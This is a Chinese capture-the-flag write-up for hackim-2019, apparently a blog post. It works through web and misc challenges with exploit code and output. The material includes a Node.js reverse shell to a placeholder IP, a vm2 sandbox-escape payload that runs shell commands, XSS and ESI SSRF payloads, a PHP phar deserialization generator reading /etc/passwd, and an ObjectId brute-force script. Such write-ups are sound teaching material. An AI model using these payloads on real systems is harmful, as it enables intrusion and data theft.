hackim-2019 WriteUp

2019-06-30  本文已影响0人  Eumenides_62ac

题目链接

Web

escape


可以看到是关于Node.JS沙箱逃逸的。
可以先查看目标模块的信息:
/run?js=Error().stack

可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:
(function () {
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(your_port, "your_ip", function () {
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

赛后看源码可以看出这里过滤了whilefor
可以去看github上的vm2模块的issue,里面也有很多提交的escapeexp,找一个使用:

var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()

cat iamnotwhatyouthink就可以得到flag

rvf

进去是一个输入框


有个admin界面。

提交输入后url变成:
/edge?title=123&description=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E

可以触发XSS
尝试/edge?title=123&description[a]=1,可以看到触发了错误,得到一个esi.js的库。


查看官方示例
> ​ You want to embed the fragment of HTML from “[http://snipets.com/abc.html](http://snipets.com/abc.html)“ within an HTML document.
> 
> ```
> blah blah, oh and here i embed in the page a snipet using an ESI server ...
> <esi:include src="http://snipets.com/snipet.html"></esi:include>
> 
> ```
> 
> **snipet.html**
> 
> ```
> <b>Snipet</b>
> 
> ```
> 
> With Node ESI script, you can pre-process ESI tags.

可以推出这里应该需要SSRF。构造:

/edge?title=123&description=<esi:include src="http://127.0.0.1:8080"></esi:include>

成功返回了网页的内容。


访问下admin界面就能得到flag
http://192.168.241.137:8080/edge?title=123&description=<esi:include src="http://192.168.241.137:8080/admin"></esi:include>

mime_checkr


只允许上传jpeg文件格式。
存在一个getmime.bak文件,内容为:
<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass{
    public function httpGet($url) {
    $ch = curl_init();  
 
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 
 
    $output=curl_exec($ch);
 
    curl_close($ch);
    return $output;
 }
}


class MainClass {

    public function __destruct() {
        $this->why =new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}


// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
?>

看到curl__destruct(),且不存在unserialize()方法,所以可以想到要利用phar来反序列化。
这里要上传一个phar文件,然后通过phar://xx/xx来触发反序列化漏洞。
先尝试file:///etc/passwd,新建文件1.jpeg,里面写入内容:

<?php

class CurlClass
{
    public function httpGet($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 

        $output = curl_exec($ch);

        curl_close($ch);
        return $output;
    }
}


class MainClass
{

    public function __destruct()
    {
        $this->why = new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}

$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MainClass();
$o->url = "file:///etc/passwd";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
    //签名自动计算
$phar->stopBuffering();
?>

然后进行上传,上传时候补齐图片头GIF89A。(看源码可以知道是补全图片头可以绕过getimagesize()函数)


得到路径,尝试访问phar://uploads/ff7cdfd583.jpeg/test.txt
成功获取file:///etc/passwd的内容。
/etc/hosts的文件中可以看到:
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.3  24aa9f8f6376

当访问172.18.0.2时,返回了:

b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'

这是用pythonebcdic生成的东西,使用脚本解密,用的编码是cp1047

import ebcdic
blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
print(blob.decode("cp1047"))

得到Hello /fetch~%[]^@)( me
再访问http://172.18.0.2/fetch~%25%5B%5D%5E%40)(得到同样的加密,再次使用脚本:

import ebcdic
blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
print(blob.decode("cp1047"))

得到flag

credz


网页源代码里有一句话:

remember me all the time, credz is not what you need luke

admin/admin就可以登录进去。提示:


可以看到主页调用了一个叫做bjs_1的函数:

有个/js/fps.jsbjs_1具体代码:
function bjs_1(e) {
    var r = new fpbrowser_v1,
        t = new fpbrowser_v1({
            canvas: !0
        }),
        n = r.get(),
        o = t.get(),
        i = n + "" + o,
        a = getbrowser(),
        d = new XMLHttpRequest,
        s = "trackuser.php",
        w = "m=" + i;
    w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
        if (4 == d.readyState && 200 == d.status) {
            d.responseText;
            "index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
        }
    }, d.send(w)
}

所以访问主页也能抓到请求了一个trackuser.php的包。


bjs_1生成了两个fpbrowser_v1类,调用了其get函数的代码:
    Fingerprint.prototype = {
        get: function() {
            var keys = [];
            keys.push(navigator.userAgent);
            keys.push(navigator.language);
            keys.push(screen.colorDepth);
            if (this.screen_resolution) {
                var resolution = this.getScreenResolution();
                if (typeof resolution !== 'undefined') {
                    keys.push(resolution.join('x'))
                }
            }
            keys.push(new Date().getTimezoneOffset());
            keys.push(this.hasSessionStorage());
            keys.push(this.hasLocalStorage());
            keys.push(!!window.indexedDB);
            if (document.body) {
                keys.push(typeof(document.body.addBehavior))
            } else {
                keys.push(typeof undefined)
            }
            keys.push(typeof(window.openDatabase));
            keys.push(navigator.cpuClass);
            keys.push(navigator.platform);
            keys.push(navigator.doNotTrack);
            keys.push(this.getPluginsString());
            if (this.canvas && this.isCanvasSupported()) {
                keys.push(this.getCanvasFingerprint())
            }
            if (this.hasher) {
                return this.hasher(keys.join('###'), 31)
            } else {
                return this.fingerprint_js_browser(keys.join('###'), 31)
            }
data:image/png;base64,...

计算得到m的值为2656613544186699742
发包得到对应的cookie


再添加那个bf后请求login.php

访问/fea24a3a981cb8aa898dfbf30ccb4196/得到:

admin.php没权限访问,下载pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack,通过git tips来还原恢复:
$ git init
$ git unpack-objects < pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
$ git fsck
$ git update-ref HEAD 29e3e14902aa1cc8caf8372c55e59f6720b5619b
$ git checkout 29e3e14902aa1cc8caf8372c55e59f6720b5619b

得到admin.php

<?php

if($_SESSION['go']){

$sp_php=explode('/', $_SERVER['PHP_SELF']);
$langfilename=$sp_php[count($sp_php)-1];

$pageListArray = array('index.php' => "1");

if($pageListArray [$langfilename]!=1){
        echo "not_authorized";
        Header("Location: index.php?not_authorized");
    
    }

else{
    echo "hackim19{}";
}
}

else{

    echo "you need to complete the first barrier";

}
?>

主要检查了index.php在不在里面,所以构造:admin.php/index.php

proton

访问提示:


访问/getPost后提示:

访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:

输入单引号有报错信息:

Hint有提示:
* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection

所以这里注入没用。
因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1


提示了后端数据库使用了MongodbMongodb中有一个叫做ObjectId的概念。
ObjectId是一个12字节的BSON数据类型,结构为:

而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:

import requests

url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'  
time = 0x5c51b9c9  
counter = 0xa4c0e2

for i in range(100):  
    counter = hex(counter - 1)[2:]
    for i in range(1000000):
        time = hex(time - 1)[2:] 
        nurl = url % (time, counter)
        res = requests.get(nurl)
        if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
        time = int(time, 16)

id=5c51b911144f813f31a4c0df得到关键信息:


访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

function clone(a){
  return merge({},a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) => {
  var body = JSON.parse(JSON.stringify(req.body));
  var copybody = clone(body)
  if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"}); 
  }
  else{
    res.json({"error":"cookie not set"})
  }
});

app.get('/getFlag', (req, res) => {


     var аdmin=JSON.parse(JSON.stringify(req.cookies))
    
    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized"); 
    }


});


app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
最后访问/getFlag就能拿到flag

hackim19{Prototype_for_the_win}
function merge(a,b){
 for (var attr in b){   
   if(isObject(a[attr]) && isObject(b[attr])){
      merge(a[attr],b[attr]);
   }
   else{
    a[attr] = b[attr];
 }
 }  
 return a 
} 

Misc

cat

打开看到一堆猫猫的图片。


这个实际上用到了unicat编程语言,可以把字符串转换成表情。
可以通过这个项目里的cat.py来还原。
尝试还原:
$ python cat.py final
[('inputst',1),('diepgrm',),('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]

这些得到的只是指令,要创建一个脚本来自动解码。这里面开头的inputst是等待输入,diepgrm是终止并退出,所以要把这两个删除,不然永远卡住跑不出结果。
构造decode.py来解密:

import sys,random

ins=[('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
mem= {}

i = 0
while i<37:
    mem[-1]=mem.get(-1,-1)+1
    try: it = ins[mem[-1]]
    except IndexError: it = ("asgnlit",-1,-1)
    if it[0] == "diepgrm":
        sys.exit()
    if it[0] == "pointer":
        mem[it[1]]=mem.get(mem.get(it[1],0),0)
    if it[0] == "randomb":
        mem[it[1]]=random.randint(True,False)
    if it[0] == "asgnlit":
        mem[it[1]]=it[2]
    if it[0] == "jumpif>" and mem.get(it[1],0) > 0:
        mem[-1]=it[2]
    if it[0] == "applop+":
        mem[it[1]]=mem.get(it[1],0)+mem.get(it[2],0)
    if it[0] == "applop-":
        mem[it[1]]=mem.get(it[1],0)-mem.get(it[2],0)
    if it[0] == "applop/":
        mem[it[1]]=mem.get(it[1],0)/mem.get(it[2],0)
    if it[0] == "applop*":
        mem[it[1]]=mem.get(it[1],0)*mem.get(it[2],0)
    if it[0] == "echovar":
        sys.stdout.write(unichr(mem.get(it[1],0)))
    if it[0] == "echoval":
        sys.stdout.write(str(mem.get(it[1],0)))
    if it[0] == "inputst":
        inp = sys.stdin.readline()
        for k in range(it[1],it[1]+len(inp)):
            mem[k]=ord(inp[k-it[1]])
        mem[k+1]=0
    i = i+1

运行得到flag

上一篇下一篇

猜你喜欢

热点阅读